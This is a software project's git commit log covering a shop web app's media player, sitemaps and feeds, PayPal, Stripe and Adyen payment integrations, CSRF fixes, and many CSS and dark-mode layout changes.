- Update play/pause icon based on media state
- Larger, more prominent navigation buttons
 2026-01-21 10:41:25 -05:00
russell@unturf.com
55fe55041f Ensure media always maintains aspect ratio during manual resize 
Add max-width/height constraints and object-position to guarantee aspect ratio is preserved when user manually resizes the window
 2026-01-21 10:37:44 -05:00
russell@unturf.com
45ebe5c0ae Fix fullscreen to maintain aspect ratio 
Request fullscreen on player container instead of document root to ensure media maintains aspect ratio with object-fit: contain
 2026-01-21 10:35:53 -05:00
russell@unturf.com
54e9303912 Fix auto-resize with minimum constraints and responsive controls 
- Add minimum window size (600x400) to prevent controls from breaking
- Make button labels more compact (Full, On Top, Resize)
- Add responsive CSS for small windows (stack controls vertically)
- Fix auto-resize scaling to maintain aspect ratio with minimums
- Reduce button padding and gaps for better fit
 2026-01-21 10:35:41 -05:00
russell@unturf.com
d3047a7c0c Add pop-out media player with autoplay and navigation controls 
Enables an immersive viewing experience for video, audio, and images through a dedicated player window. The player automatically resizes to match media dimensions, supports keyboard navigation, and includes toggles for always-on-top and auto-resize behavior. Features include:

- Pop-out window with autoplay for video/audio/images
- Dynamic window sizing based on media aspect ratio (320px to HD)
- Navigation controls for browsing shop's public media
- Always-on-top toggle (persisted to localStorage)
- Auto-resize toggle (persisted to localStorage)
- Fullscreen support
- Keyboard shortcuts (arrows, ESC, F, T, R)
- Feature flag for easy enable/disable (default: enabled)
- Products use preview file, content uses product file
- Only public products (visibility == 1)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 10:06:06 -05:00
Russell Ballestrini
82327c1d0b Fix sitemap date format - use YYYY-MM-DD for sitemaps, proper ISO 8601 for Atom 2026-01-11 09:42:05 -05:00
Russell Ballestrini
3dfbac6f3e Add sitemap, RSS/Atom feeds, and Google site verification for shops 
- Add /sitemap.xml, /rss.xml, /atom.xml, /feed.xml routes
- Include only public products and content (visibility=1)
- Update robots.txt to include sitemap reference for shops
- Add google_site_verification column to shop model
- Add verification code input in shop integration settings
- Render verification meta tag on shop homepage
- Update CLAUDE.md with migration ID generation requirement
 2026-01-11 08:52:38 -05:00
Russell Ballestrini
7ced344cb0 Update setup.py 2025-12-29 15:40:34 +00:00
Russell Ballestrini
5b648499fb Add Adyen payment config to development.ini 2025-12-23 17:07:18 -05:00
Russell Ballestrini
1d03d6aee4 Add PayPal settings form handler and pass keys to template, make API key inputs full-width 2025-12-22 18:41:04 -05:00
Russell Ballestrini
42241d79b7 Remove jQuery dependency, convert to vanilla JavaScript 2025-12-22 18:34:35 -05:00
Russell Ballestrini
4bc0c67e3a Add JavaScript documentation 2025-12-22 18:29:10 -05:00
Russell Ballestrini
a647d9798c Replace JS toggles with pure CSS using HTML details element for payment settings 2025-12-22 18:25:14 -05:00
Russell Ballestrini
b44942a4bc Add Adyen SDK to requirements 2025-12-22 17:38:25 -05:00
Russell Ballestrini
fe0482ac8a Merge branch 'feature/Paypal_checkout' into 'master' 
paypal

See merge request engineering/make-post-sell/make_post_sell!57
 2025-12-22 22:29:51 +00:00
Russell Ballestrini
4210bc1421 Add Adyen payment integration 
- Add Adyen API credentials to Shop model (api_key, merchant_account,
  client_key, hmac_key, enabled)
- Add adyen_psp_reference to Invoice model for payment tracking
- Add Adyen checkout views (create-session, complete-checkout)
- Add Adyen webhook handler with HMAC verification
- Add shop settings UI for Adyen credentials
- Add request.adyen_enabled and request.adyen_globally_enabled
- Update ADYEN.md with verification details and implementation status
- Add 21 tests (8 unit, 5 integration, 5 functional + 3 invoice)
 2025-12-22 17:16:54 -05:00
Russell Ballestrini
a2e2092a31 Add privacy warnings to PayPal docs, create Adyen integration doc 
PayPal:
- Document invasive KYC requirements (face scanning, government ID)
- Note that crypto is the privacy-preserving alternative

Adyen:
- Document integration approach (similar to Stripe)
- Include Python library usage, webhooks, credentials needed
- Status: not yet implemented
 2025-12-22 16:11:54 -05:00
Russell Ballestrini
ac2f586453 Add Stripe payment tracking and webhook resilience 
- Add stripe_payment_intent_id and stripe_charge_id columns to Invoice
- Store payment references during checkout for traceability
- Use idempotency key to prevent duplicate charges on retry
- Add Stripe webhook handler for payment_intent.succeeded, payment_failed,
  charge.refunded, and charge.dispute.created events
- Consolidate PayPal webhooks into webhooks.py
- Add stripe.webhook_secret configuration for signature verification

Tests: 8 unit, 5 integration, 7 functional tests for Stripe functionality
 2025-12-22 16:03:20 -05:00
Russell Ballestrini
0b89ab2bb3 Fix test_cart_checkout_for_shop to match current checkout flow 
The checkout POST now returns a 200 OK directly (or with different
redirect count), so update the test to:
1. Use a while loop to follow any number of redirects
2. Update assertion text from "Please enter your payment information."
   to "Please confirm your order." to match current UI text
 2025-12-22 15:32:55 -05:00
Russell Ballestrini
31592b6923 Add PayPal unit, integration, and sandbox functional tests 2025-12-22 15:21:46 -05:00
Russell Ballestrini
979c5117df Merge PayPal views into cart.py, delete paypal.py 2025-12-22 14:29:00 -05:00
Russell Ballestrini
8121772233 Rename and simplify PayPal docs 2025-12-22 14:21:24 -05:00
Russell Ballestrini
30c1e29aa8 Mark PayPal integration as released Dec 22, 2025 2:30 PM 2025-12-22 14:20:20 -05:00
Russell Ballestrini
261ad97c7b Remove PayPalPayment table, use Invoice columns instead 
- Add paypal_order_id and paypal_capture_id columns to Invoice model
- Update migration to add columns to mps_invoice instead of creating separate table
- Remove PayPalPayment model (simpler architecture matching Stripe)
- Update paypal.py to store PayPal info directly on Invoice
- Update paypal_webhooks.py to query Invoice by paypal_order_id
- Update Invoice.payment_method property to detect PayPal payments
 2025-12-22 12:51:07 -05:00
Russell Ballestrini
b5a32c797e Clean up PayPal docs: remove references to non-existent files 2025-12-22 12:43:35 -05:00
Russell Ballestrini
09e3873028 Update docs: single migration, tables auto-created 2025-12-22 12:41:45 -05:00
Russell Ballestrini
b43850d0c7 Add docs directory, CHANGELOG.rst, update README 
- Create docs/ directory and move CHANGES_PAYPAL.md into it
- Add CHANGELOG.rst with unreleased section for PayPal integration
- Update README.rst to mention PayPal alongside other payment methods
 2025-12-22 12:36:28 -05:00
Russell Ballestrini
66382c9ca2 Fix PayPal migrations: use proper revision IDs and remove table creation 
- Rebased onto master to include grid_lanes_enabled and other changes
- Replaced fake revision IDs (a1b2c3d4...) with proper alembic-generated IDs
- Removed table creation migrations (auto-created)
- Removed obsolete merge migration
- Keep only shop column migration for paypal_client_id, paypal_secret, paypal_enabled
 2025-12-22 12:27:17 -05:00
Groupr
8a3b172c0a contains the class-to-table mappings that SQLAlchemy needs to know which table each model class belongs to. 2025-12-22 12:04:37 -05:00
Groupr
ae8113b857 Update file development.ini 2025-12-22 12:04:37 -05:00
Groupr
85c2bb5649 Update 9 files 
- /make_post_sell/models/shop.py
- /make_post_sell/views/cart.py
- /make_post_sell/scripts/alembic/versions/a1b2c3d4e5f8_create_paypal_payment_table.py
- /make_post_sell/scripts/alembic/versions/a1b2c3d4e5f7_create_paypal_user_shop_table.py
- /make_post_sell/scripts/alembic/versions/a1b2c3d4e5f6_add_paypal_credentials_to_shop.py
- /make_post_sell/scripts/alembic/versions/1396317d0fc4_merge_paypal_and_default_theme_.py
- /make_post_sell/templates/shop_settings.j2
- /make_post_sell/request_methods.py
- /development.ini
 2025-12-22 12:04:37 -05:00
Groupr
557fdda9bc Update 3 files 
- /make_post_sell/models/paypal_payment.py
- /make_post_sell/models/paypal_user_shop.py
- /make_post_sell/models/__init__.py
 2025-12-22 12:04:37 -05:00
Groupr
9eab6e0218 PayPal Saved Payment Methods: 
- Add vault parameters to order creation for saving payment methods
  - Extract and store vault.id in PayPalUserShop after successful payment
  - Add "Save PayPal" checkbox to checkout page
  - Show saved status for returning customers
  - Add PayPal management section to billing page
  - Add disconnect PayPal functionality at /billing/disconnect-paypal

  - Refunds are handled externally by shop owners via PayPal dashboard
  - Platform does not track or process refunds
  - Update documentation to reflect external refund handling

  Documentation:

  - Update CHANGES_PAYPAL.md 

  No database migrations required - uses existing PayPalUserShop columns:
  - active_payment_token (stores vault.id)
  - payer_id (stores PayPal payer ID)
  EOF
  )"
 2025-12-22 12:04:37 -05:00
Groupr
22be720c53 - Added /billing/disconnect-paypal route 2025-12-22 12:04:37 -05:00
Groupr
e8e0e52f40 make_post_sell/templates/cart_checkout.j2 
- Added "Save PayPal for faster checkout" checkbox
    - Shows "PayPal saved" status for returning users
    - Sends save_paypal parameter to backend

make_post_sell/templates/billing.j2
    - Added PayPal management section
    - Shows connected status with PayPal logo
    - Added "Disconnect PayPal" button
 2025-12-22 12:04:37 -05:00
Groupr
4a6f7ebb3a make_post_sell/views/paypal.py 
- Added vault parameters for saving PayPal payment methods

- Extract and store vault.id after successful payment

- Logs vault status (VAULTED vs APPROVED)

make_post_sell/views/billing.py
    - Added paypal_user_shop to template context
    - Added disconnect_paypal() view function
 2025-12-22 12:04:37 -05:00
Russell Ballestrini
b3270eb369 Add CSS Grid Lanes support with toggleable shop setting 
Implement CSS Grid Lanes (masonry layout) for product grids with graceful
fallback to standard CSS Grid for browsers that don't support it yet.

- Add grid_lanes_enabled column to Shop model (default: True)
- Add toggle in Shop Settings under Announcement Ribbon Settings
- Update product grid templates to conditionally apply grid-lanes-enabled class
- CSS uses @supports (display: grid-lanes) for progressive enhancement
- Mobile (160px min) and desktop (240px min) breakpoints supported

When enabled and browser supports Grid Lanes, products flow into a
waterfall/masonry layout where items fill the shortest column first,
creating a Pinterest-style layout that handles varying image heights.
 2025-12-19 20:33:28 -05:00
Russell Ballestrini
3bf65966c5 Style video play overlay: red tint, add click-to-play text 2025-12-17 09:25:57 -05:00
Russell Ballestrini
f95daf02a8 Fix video play overlay visibility and positioning 2025-12-17 09:21:38 -05:00
Russell Ballestrini
f3a23ef2cf Add play button overlay on video thumbnails for unlocked content 
Display a centered play button overlay on hero thumbnail images when
the product/content is a video file and the user has access to it.
Clicking opens the video in a new tab.

- Add CSS for .video-thumbnail-container and .video-play-overlay
- Support dark theme with appropriate contrast
- Show overlay on content.j2 for free video content
- Show overlay on product.j2 only when user has unlocked the product
 2025-12-17 09:16:20 -05:00
Russell Ballestrini
82973e61a7 Increase meta description truncation to 500 chars 2025-12-15 07:58:54 -05:00
Russell Ballestrini
0777bfc051 Truncate meta descriptions to 200 chars for cleaner unfurl cards 2025-12-15 07:58:19 -05:00
Russell Ballestrini
d0a419afa1 Add Twitter card meta tags for proper link unfurling on Matrix/Discord 
Links shared to Matrix/Discord were showing the logo instead of thumbnail1
because twitter:card and twitter:image meta tags were missing. Added
complete Twitter card support (summary_large_image) plus og:url and
og:site_name for better Open Graph compliance.
 2025-12-15 07:57:04 -05:00
Russell Ballestrini
e4ec3e0d5e Improve OTP email visibility by making code the prominent h1 heading 
- Move OTP code to top of email as large h1 element
- Increase font size to 3em for better readability
- Add letter spacing and bold styling for clarity
- Demote greeting text to regular paragraph
 2025-11-01 11:48:34 -04:00
Groupr
789acae6fa Merge branch 'fix/mobile-friendly-shop-editor' into 'master' 
mobile-friendly-shop-editor

See merge request engineering/make-post-sell/make_post_sell!56
 2025-11-01 13:58:49 +00:00
Russell Ballestrini
ca1a71bcce Fix detached instance errors in physical product handling test 
The test was failing due to SQLAlchemy DetachedInstanceError when
accessing object properties after transaction.manager.commit().

Changes:
- Save cart and shop UUIDs before commit to avoid detached access
- Re-query cart from database after commit using get_cart_by_id
- Pass shop_id parameter in cart URL to properly set request.shop
- Use saved UUID variables instead of accessing detached objects

This ensures request.shop_location is correctly resolved so the
handling options (local pickup, delivery, shipping) render properly
in the cart template.

All 357 tests now pass including the physical product handling test.
 2025-11-01 09:56:21 -04:00
Groupr
f539323fb0 Update meta.py 
Capitalized the human-readable visibility labels (Public, Private, Unlisted).
 2025-10-28 23:03:54 +00:00
Groupr
42da9d35fa Update common.css 
Added .col-status { display: none; } and mobile portrait media rules to hide columns 3–6, show the new Status column, and size Sellable/Price/Size for mobile.

Enabled title wrapping, ensured consistent header fonts, tuned column widths (Sellable wider, Status fixed, Size narrower), and added status-line spacing plus decimal-dot styling.
 2025-10-28 23:03:05 +00:00
Groupr
0565342c8c Update shop_products.j2 - Added the mobile-only Status column markup with class="col-status". 
Combined visibility emoji plus bundle/physical/ready indicators into stacked status rows.

Wrapped price and size values so decimal points render through span.decimal-dot for bold dots.
 2025-10-28 23:00:26 +00:00
Russell Ballestrini
fd8e8b6b4f Add functional test for physical product handling option CSRF 
This test closes the coverage gap that allowed the CSRF token bug to
reach production. The handling option form requires CSRF protection but
no test exercised this code path because all existing functional tests
use digital products.

New test verifies:
- Physical product handling option form renders correctly
- CSRF token is present and accepted by the view
- All handling options work (pickup, delivery, local/intl shipping)
- Form submission succeeds without 400 Bad CSRF Token error

Closes test coverage gap for make_post_sell/views/cart.py:404
 2025-10-16 10:52:26 -04:00
Russell Ballestrini
e001836f4b Fix CSRF token error for cart handling option selection 
The handling option form was missing the CSRF token include, causing
a "400 Bad CSRF Token" error when users tried to select shipping
options. Added the missing {% include "snippets/csrf.j2" %} to match
the pattern used by all other POST forms in the cart template.

Fixes cart.j2:144 - handling option form now includes CSRF protection
 2025-10-16 09:14:53 -04:00
Russell Ballestrini
30ee39bbe5 Merge branch 'freebies' into 'master' 
Add checkout confirmation button for free carts with coupons

See merge request engineering/make-post-sell/make_post_sell!55
 2025-10-15 13:14:00 +00:00
Russell Ballestrini
400b4c042b Add checkout confirmation button for free carts with coupons 
When coupons reduced cart total to $0, the checkout page displayed no
button to finalize the order. This occurred because the Stripe button
only appears with active_card, and crypto buttons only appear when
cart.requires_payment is True. Users without saved payment methods
were unable to complete free orders.

Added dedicated "Confirm Free Checkout" button that displays when
cart.requires_payment is False, allowing users to finalize free orders.
Enhanced test coverage to verify button appears in checkout page HTML.
 2025-10-15 09:08:47 -04:00
Russell Ballestrini
c9afd3b893 Fix session cookie bloat from crypto payment status tracking 
Remove session-based status tracking that was storing crypto_payment_status_{payment_id}
for every payment, causing cookie size to exceed 4KB limit with 35+ payments.

- Remove: request.session[session_key] = current_status
- Remove: previous_status tracking via session
- Keep: Flash messages for status notifications (they don't bloat cookies)

Flash messages now trigger on every poll instead of just transitions, but this
prevents the cookie bloat issue. Client-side can handle transition detection if needed.
 2025-10-11 19:41:15 -04:00
Russell Ballestrini
fcde8d94cf Fix crypto payment quote UI to hide QR/buttons immediately on received status 
The removePaymentElements() and replaceButtonsWithInvoiceLink() JavaScript
functions were using incorrect CSS selectors that tried to match hardcoded
inline style attributes (e.g., div[style*="grid-template-columns: 1fr 1fr 1fr"])
which don't exist in the actual template HTML.

Updated both functions to use the correct CSS class selectors:
- '.payment-grid' for QR code and payment instructions
- '.payment-buttons' for copy buttons and wallet links

This ensures that when a payment transitions to 'received' status, the polling
mechanism immediately hides the payment UI elements without requiring a page
refresh, preventing potential duplicate payments.

Fixed selectors in crypto_checkout.j2:150-162 and crypto_checkout.j2:165-206
 2025-10-11 13:17:41 -04:00
Russell Ballestrini
b5a93e7a7a Enhance product edit interface and improve cart layout 
- Add file metadata display (type, size) for product files and thumbnails
- Add human_file_bytes method to Product model for flexible file size formatting
- Add file statistics section showing total capacity
- Reorganize cart layout with "New" button in header and "View Saved Carts" below checkout
 2025-10-09 11:00:52 -04:00
Russell Ballestrini
3f17933130 Hide shipping address section for digital-only checkouts 
Only show the "Active Shipping Address" section on checkout page when cart contains physical products that require shipping.
 2025-10-08 15:49:39 -04:00
Russell Ballestrini
56a1d93d0d Restructure actions pages and user settings with action-columns layout 
- Create new action-columns CSS class for true 50/50 equal column layout
- Convert actions_view page to use action-columns with management buttons on right
- Convert actions_new page to use action-columns with New Product/Shop Location on right
- Convert user_settings page to use action-columns layout
- Remove shop names from actions pages for cleaner appearance
- Move log out button to bottom of user settings with red styling using --red-color var
- Add green + New button to user settings call_to_action
- Add consistent 42px bottom margin to all section.content elements
- Update green well styling to work with both one-column and action-columns classes

All pages now use consistent 50/50 column layouts that collapse to single column on mobile.
 2025-10-06 18:26:30 -04:00
Russell Ballestrini
aae1e38793 Bump version to 1.1.4 2025-10-06 10:46:54 -04:00
Russell Ballestrini
c523cb532e Fix product page layout and add bold fonts to comment buttons 
- Restore two-column layout for product and content pages on desktop
- Add font-weight: bold to comment buttons in light mode for consistency

Fixes regression where product pages were displaying single column on desktop
 2025-10-06 10:37:56 -04:00
Russell Ballestrini
724b0ec256 Improve UI layout consistency and organization 
- Fix theme-switching layout shifts by adding transparent borders to light mode elements
- Add 2px transparent borders to buttons and comment elements in light mode
- Add 1px transparent borders to wells and alerts in light mode
- Reorganize user settings page with two-column layout (settings left, actions right)
- Move theme preference directly under User Settings heading
- Update purchases page to two-column layout (products left, invoices right)
- Remove horizontal rule from cart checkout button area
- Remove top margins from all heading tags (h1-h6)
- Add padding-bottom to desktop content sections
- Set navigation background to secondary color for consistency

Layout now remains stable when toggling between light and dark themes
 2025-10-06 10:22:09 -04:00
Russell Ballestrini
f5d68ba267 Fix DOGE fee calculation bug and improve UI consistency 
- Fix negative DOGE processing fees from estimatesmartfee RPC issues
- Add abs() protection for both DOGE and Monero fee calculations
- Reduce transaction size estimate from 0.25KB to 0.15KB (more realistic)
- Change fee multiplier from 2x to 1.5x (less excessive)
- Set reasonable fallback fee of 0.5 DOGE when RPC fails
- Add negative feerate detection with proper error handling
- Fix crypto payment status color mapping (case insensitive lookup)
- Add missing status mappings for confirmed-overpay-complete and doublepay-refund-complete
- Improve comment system UI with dark mode styling and better layout
- Add CSS preloader to prevent trans-background image flashing
- Enhance user settings page with better button organization
- Remove "View Quote" button for cancelled crypto quotes
- Fix comment form styling and authentication flow
 2025-10-06 09:36:02 -04:00
Russell Ballestrini
c61811293e Remove trailing period after add payment method button 2025-10-05 12:49:08 -04:00
Russell Ballestrini
ed2de76637 Fix checkout page mobile layout and improve word-breaking 
- Force single column layout on mobile (768px breakpoint) for checkout page
- Remove aggressive word-break: break-all from general content areas
- Add horizontal scrolling for pre/code tags to preserve technical content
- Clean up redundant word-wrap properties
 2025-10-05 12:31:09 -04:00
Russell Ballestrini
5d46b3a63d Fix content overflow caused by long unbreakable strings 
Add word-breaking rules to handle magnet links and long URLs that cause
horizontal overflow. Uses word-wrap, overflow-wrap, and word-break to
force long strings to wrap instead of overflowing containers.
 2025-10-04 20:52:58 -04:00
Russell Ballestrini
ae0e39a638 Fix mobile-specific image overflow and remove !important 
- Remove !important from product-main image rules, use specific selectors instead
- Add mobile-specific constraints to .product-images container
- Add overflow-x auto for mobile product image containers
- Ensure images stay within bounds on mobile without affecting tablet/desktop
 2025-10-04 20:35:37 -04:00
Russell Ballestrini
014f8e7836 Fix product page image and content overflow issues 
- Override general img width rule for product-main images to prevent overflow
- Add overflow constraints to content sections (.product-description, .content, section.content)
- Use \!important to ensure product-main images use auto width instead of 100%
- Add horizontal scrolling fallback instead of layout breaking
 2025-10-04 20:27:01 -04:00
Russell Ballestrini
aafe7c4224 Fix image sizing to prevent grid overflow on mobile 
Add width: 100% and box-sizing: border-box to base image rule to ensure images
properly fit within their grid containers and don't extend outside grid cells.
 2025-10-04 20:02:19 -04:00
Russell Ballestrini
b84be0a727 Fix checkout page layout and crypto button sizing 
- Implement responsive checkout layout: single column for crypto-only, two columns when Stripe/shipping enabled
- Add progressive enhancement with :has() selector and fallback for older browsers
- Fix crypto button icon sizing with more specific selectors and \!important rules
- Ensure proper mobile responsive behavior
 2025-10-04 19:52:15 -04:00
Russell Ballestrini
f6a4d0d4ce Fix crypto icon sizing and add payment method button styling 
- Remove problematic image width rules that broke crypto icons
- Style "Add a credit card payment method" as blue button for both themes
- Ensure crypto payment icons maintain proper 32x32 pixel size
 2025-10-04 19:41:24 -04:00
Russell Ballestrini
b3f9e7bcaf Revert "Fix horizontal scrollbar issues with images and pre tags" 
This reverts commit 4d9013d4ca.
 2025-10-04 19:34:47 -04:00
Russell Ballestrini
4d9013d4ca Fix horizontal scrollbar issues with images and pre tags 
- Force images to 100% width to prevent overflow
- Add overflow-x auto to pre tags while preserving whitespace
- Prevent content elements from causing page-wide horizontal scrollbars
 2025-10-04 19:31:24 -04:00
Russell Ballestrini
5259f750fa Fix mobile layout spacing and image overflow issues 
- Add margin-top to product purchase well on mobile for better spacing
- Prevent content images from causing horizontal scrollbars
- Improve mobile UX by separating product images from action buttons
 2025-10-04 19:17:37 -04:00
Russell Ballestrini
ed2adce1e6 Remove unnecessary inline dark mode override from ribbon template 2025-10-04 19:02:13 -04:00
Russell Ballestrini
a747429e92 Fix shop theme link visibility with inline style override 
Add dark mode override directly in ribbon template to ensure proper
CSS specificity. Shop theme links will now be white in dark mode
regardless of shop owner's configured link colors.
 2025-10-04 18:59:36 -04:00
Russell Ballestrini
0a62e1e29c Fix shop theme link visibility in dark mode 
Override shop theme link colors to white in dark mode to ensure visibility
when shop owners have configured dark link colors that become invisible
against dark backgrounds.
 2025-10-04 18:49:26 -04:00
Russell Ballestrini
99eca0b456 Improve shop settings dark mode styling and UX 
- Replace theme dropdown with radio buttons for consistency
- Add immediate theme preview when changing shop default theme
- Add Stripe status indicators (enabled/disabled) matching crypto currencies
- Disable Stripe inputs when Stripe payments are disabled
- Improve dark mode text readability for note-text, status-message, and error-indicator
- Add comprehensive dark mode styling for all flash message types
- Remove horizontal rule dividers in crypto settings for cleaner layout
 2025-10-04 17:47:16 -04:00
Russell Ballestrini
fa1e3d56d5 Fix theme radio button localStorage synchronization 
Fix radio buttons to properly reflect localStorage theme preference on page load.
Replaced unsupported :has() selector with closest() for better browser compatibility.
Added missing logic to sync radio button selection with stored theme preference.
 2025-10-04 17:23:57 -04:00
Russell Ballestrini
8faec3256c Delete THEME_AUDIT.md 2025-10-04 21:18:41 +00:00
Russell Ballestrini
8a014a6e61 Merge branch 'dark-fucking-mode' into 'master' 
Implement comprehensive dark mode functionality

See merge request engineering/make-post-sell/make_post_sell!54
 2025-10-04 21:09:51 +00:00
Russell Ballestrini
045868c3d0 Implement comprehensive dark mode functionality 2025-10-04 21:09:51 +00:00
Russell Ballestrini
9cb6ea5fd0 Remove remaining static inline styles from user crypto settings 
Convert two remaining style="width: 100%;" declarations to use existing
full-width-input CSS class. This completes the cleanup of all static
inline styles, leaving only 2 dynamic inline styles remaining across
the entire template codebase.

File updated:
- user_crypto_settings.j2: Crypto address and label input fields

Remaining inline styles: 2 (both dynamic/business-critical)
 2025-10-04 13:52:40 -04:00
Russell Ballestrini
618f7f257b Phase 2: Convert crypto history and invoice inline styles to CSS classes 
Completed conversion of static inline styles in crypto_quotes_history.j2 and invoice.j2:

- Added comprehensive CSS classes for crypto history layout, status notices, and invoice components
- Converted 22 inline style instances to semantic CSS classes
- Improved maintainability while preserving all functionality
- Added status color classes for consistent semantic meaning across templates

Templates updated:
- crypto_quotes_history.j2: Payment cards, status notices, help sections
- invoice.j2: Discount sections, payment status indicators, layout components

CSS classes added: crypto-history-container, crypto-payment-card, status-*-notice,
invoice-*-section, status-success/warning/info/error, and utility classes.
 2025-10-04 13:46:37 -04:00
Russell Ballestrini
252d2d056d Phase 1: Convert static inline styles to CSS classes (40% of remaining styles) 
Added CSS classes for static styling patterns:
- .no-bottom-margin, .no-top-margin - Standard margin controls
- .bold-text - Font weight styling
- .inline-label - Display inline for labels (reusing existing class)
- .hidden-form - Display none for forms
- .subtitle-text - Product/content subtitle styling
- .stripe-* classes - Stripe component styling
- .comment-* classes - Comment system styling
- .coupon-* classes - Coupon display styling
- .original-comment-box - Comment editing box styling
- .table-* classes - Table layout controls
- .sold-out-button - Disabled button styling

Updated 16 template files to use CSS classes instead of inline styles:
- snippets/search.j2, snippets/stripe.j2, snippets/comments.j2
- product.j2, content.j2, product_edit.j2
- user_settings.j2, shop_location_form.j2
- coupons.j2, coupon.j2, update-card.j2
- base.j2, shop_products.j2
- comments/reply_comment.j2, comments/edit_comment.j2

Converted approximately 40% of remaining inline styles targeting:
- Static margins and spacing
- Font weights and sizing
- Display properties
- Form visibility
- Button states
- Table layouts

Remaining inline styles are dynamic/functional and require Phase 2 implementation.
 2025-10-04 13:30:50 -04:00
Russell Ballestrini
10e0e83adf Replace inline styles with CSS classes across template files 
- Add comprehensive CSS classes to common.css for status messages, layouts, and styling
- Remove all inline styles from shop_settings.j2 (16 instances)
- Remove all inline styles from crypto_checkout.j2 (25 instances)
- Remove all inline styles from cart_checkout.j2 (18 instances)
- Remove all inline styles from cart.j2 (16 instances)

New CSS classes added:
- Status indicators: .status-message, .success-indicator, .error-indicator
- Layout helpers: .inline-label, .full-width-input, .disabled-input
- Crypto checkout: .crypto-logo, .payment-grid, .payment-buttons, .status-box
- Cart styles: .cart-float-right, .cart-shop-name, .cart-total-amount
- Notice boxes: .success-notice, .warning-notice, .warning-banner

This improves maintainability, consistency, and enables better theming support.
All conditional styling preserved using dynamic CSS class application.
 2025-10-04 13:20:45 -04:00
Russell Ballestrini
6b222bbc6b modified: .gitignore 2025-10-04 13:06:28 -04:00
Russell Ballestrini
a3826d15c8 modified: setup.py 2025-10-04 13:05:01 -04:00
Russell Ballestrini
3fedfeb849 Update state machine documentation to use dash-separated naming 
- Convert all state names from underscore to dash format in markdown documentation
- Ensures consistency across all documentation formats (dot, svg, markdown)
- All payment states now use dashes: confirmed-complete, underpaid-refunded, etc.
- Maintains consistency with the source dot file which is the canonical reference

This completes the documentation naming convention standardization.
 2025-10-04 13:02:07 -04:00
Russell Ballestrini
fde7e2b2d0 Fix CSS image sizing specificity issue 
Change global img rule from width: 100% to max-width: 100% to allow
more specific image sizing rules to work properly. This prevents the
global rule from overriding thumbnail sizes, icons, and other specific
image dimensions while maintaining responsive behavior.

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
 2025-10-04 12:49:37 -04:00
Russell Ballestrini
baa8dffc02 Enhance payment settings UX with consistent styling and persistent state 
- Add new payment-toggle-button CSS class derived from comment button styles
- Apply consistent styling to all Stripe, Monero, and Dogecoin disable/re-enable buttons
- Consolidate crypto wallet disclaimers into single always-visible section
- Update help text to clarify re-enabling payments allows address updates
- Implement localStorage persistence for both crypto and Stripe toggle states
- Ensure graceful degradation for non-JavaScript users
- Remove redundant disclaimer text from individual currency forms

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
 2025-10-04 12:37:32 -04:00
Russell Ballestrini
fd3ffc26f0 Improve shop settings crypto wallet and Stripe configuration UX 
- Move crypto wallet verification disclaimer to top of section for better visibility
- Remove redundant Dogecoin address display message
- Ensure crypto wallet checkbox is always unchecked on page refresh
- Update disclaimer to use plural form for multiple wallet addresses
- Fix checkbox label alignment to display inline
- Update Stripe toggle label to be more descriptive
- Add JavaScript progressive enhancement for Stripe API key fields
- Ensure both crypto and Stripe forms are hidden by default with graceful degradation

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
 2025-10-04 12:26:24 -04:00
Russell Ballestrini
c218ec7073 Fix mobile layout ordering for product and content pages 
- **Mobile Layout Fix**: Restructured product/content templates to use direct grid children
- **Grid Areas**: Added proper grid-template-areas for desktop layout
- **Mobile Ordering**: Purchase/download buttons now appear after images on mobile
- **Template Structure**: Split sections into product-images, product-right, product-description, product-comments
- **CSS Grid**: Unified layout system using order properties for mobile and grid areas for desktop
- **UX Improvement**: Logical mobile flow - images, purchase, description, comments
 2025-10-04 12:02:04 -04:00
Russell Ballestrini
6745824fc3 Improve comment system UX and product page layout 
- **Comment Form Styling**: Unified button styling across reply/edit forms with new CSS classes
- **Comment Actions**: Improved spacing, consistent button styling, and proper grid layout
- **Comment Navigation**: Added anchor redirects for delete/approve/unapprove actions
- **Product Layout**: Enhanced desktop two-column grid (2fr 1fr) with better proportions
- **Mobile Optimization**: Fixed button width and section ordering for mobile view
- **Template Consolidation**: Moved comments and description into main grid layout
- **Auto-refresh Removal**: Removed disruptive timers from content pages
 2025-10-04 11:45:35 -04:00
Russell Ballestrini
e67178abdb Fix comment deletion display and improve comment spacing 
## Bug Fixes:
- **Comment Deletion**: Fixed deleted comments still showing in frontend
  - Added `enabled_children` property to Comment model to filter disabled comments
  - Updated template to use `enabled_children` instead of `children` for replies
  - Ensures soft-deleted comments (and their replies) properly disappear from view

## UI Improvements:
- **Comment Spacing**: Added 20px margin-bottom to all comments for better readability
- **Form Styling**: Removed unwanted `mps-submit` class from "Post Comment" button
  - Eliminates `float: right` styling that was misaligning the button

## Technical Details:
- Root comments already filtered by database query (`Comment.disabled == False`)
- Child comments now properly filtered through `enabled_children` property
- Comment deletion uses soft delete (`comment.disable()`) preserving data integrity
- Black code formatting applied to maintain style consistency

The comment system now properly handles deletions and provides better visual hierarchy.
 2025-10-04 10:55:54 -04:00
Russell Ballestrini
619aca286a Implement Stripe disable/enable functionality and improve checkout UX 
## Major Features Added:
- **Stripe Disable/Enable**: Added per-shop Stripe enable/disable functionality similar to crypto currencies
- **Shop-themed Link Styling**: Implemented comprehensive link theming system using CSS classes
- **Responsive Checkout Layout**: Simplified checkout page to always use single-column responsive design

## Database Changes:
- Added `stripe_enabled` column to `mps_shop` table (defaults to enabled)
- Created Alembic migration with proper SQLite `server_default="1"` handling

## Template Updates:
- **Shop Settings**: Added Stripe disable/re-enable buttons with proper conditional logic
- **Checkout Page**: Simplified to single-column responsive layout (640px max, mobile-friendly)
- **Link Theming**: Added `shop-theme-link-color` class to all product/shop links across templates
- **Button Consistency**: Standardized all "Update" buttons to "Save" in shop settings

## Code Architecture:
- **Request Methods**: Added `request.stripe_globally_enabled` for clean separation of global vs per-shop settings
- **DRY Refactor**: Made `request.stripe_enabled` use `request.stripe_globally_enabled` to eliminate code duplication
- **CSS Grid Only**: Removed flexbox usage, enforced CSS Grid for all layouts per project standards

## Bug Fixes:
- Fixed "refund pending" messages showing incorrectly for `underpaid-not-refunded` status
- Fixed economically unviable refund emails showing incorrect "no fees deducted" messages
